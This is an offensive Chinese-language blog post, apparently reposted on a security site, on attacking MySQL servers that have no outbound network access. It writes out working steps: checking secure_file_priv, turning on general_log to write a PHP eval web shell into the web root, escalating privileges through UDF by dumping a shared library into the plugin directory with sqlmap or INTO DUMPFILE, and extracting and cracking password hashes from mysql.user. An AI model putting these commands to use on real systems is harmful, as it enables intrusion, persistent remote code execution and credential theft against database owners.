MySQL不出网文件落地上线姿势

admin 2023年1月31日11:57:38MySQL不出网文件落地上线姿势已关闭评论46 views字数 1942阅读6分28秒阅读模式

第一步 判断环境

1、查看MySQL版本

show variables like '%version%';
select version();      

查看系统版本.png

2、查看load_file() 开启

即 secure_file_priv 无限制

show variables like '%secure%';       
show global variables like '%secure_file_priv%';

查看是否可写.png

Value 说明 注意
NULL 不允许导入或导出 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
/var/lib/mysql-files/ 只允许在 /var/lib/mysql-files/ 目录导入导出 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
不限制目录

而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出

3、查看日志功能是否开启和对应目录

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 Getshell

SHOW VARIABLES LIKE 'general%';

注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中

日志写入是否开启.png

开启日志功能

set global general_log = "ON";
set global general_log_file='/var/www/html/test.php';   


select '<?php @eval($_POST['AabyssTeam']);?>';

启用日志写入.png

4、寻找插件目录(UDF提权摸排)

如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数

动态链接库文件获取

在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件

SqlMap:工具根目录/data/udf/mysql

注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用

不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.py

Metasploit:工具根目录/embedded/framework/data/exploits/mysql

注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so

接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:

show variables like '%plugin%';

寻找插件目录.png

第二步 MySQL提权

写入动态链接库

写入动态链接库可以分为下面几种情形:

  • 存在SQL 注入且是高权限
  • plugin(插件) 目录可写且需要 secure_file_priv 无限制
  • MySQL 插件目录可以被 MySQL 用户写入

1、存在SQL注入

这个时候就可以直接使用 SqlMap 来上传动态链接库

注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入

sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"

2、不存在SQL注入

就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?

我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下


SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';


SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';

当出现这个报错的时候:

写入链接库报错.png

由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错

小技巧:获取MySQL账户和对应密码Hash


select host, user, password from mysql.user;


select host,user,authentication_string from mysql.user;

获取账户密码hash.png

直接丢到在线网站 https://www.cmd5.com/ 解密

哈希解密.png

直接可以解密了密码,解密不出来就用Hashcat跑就行了

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月31日11:57:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MySQL不出网文件落地上线姿势http://cn-sec.com/archives/1530274.html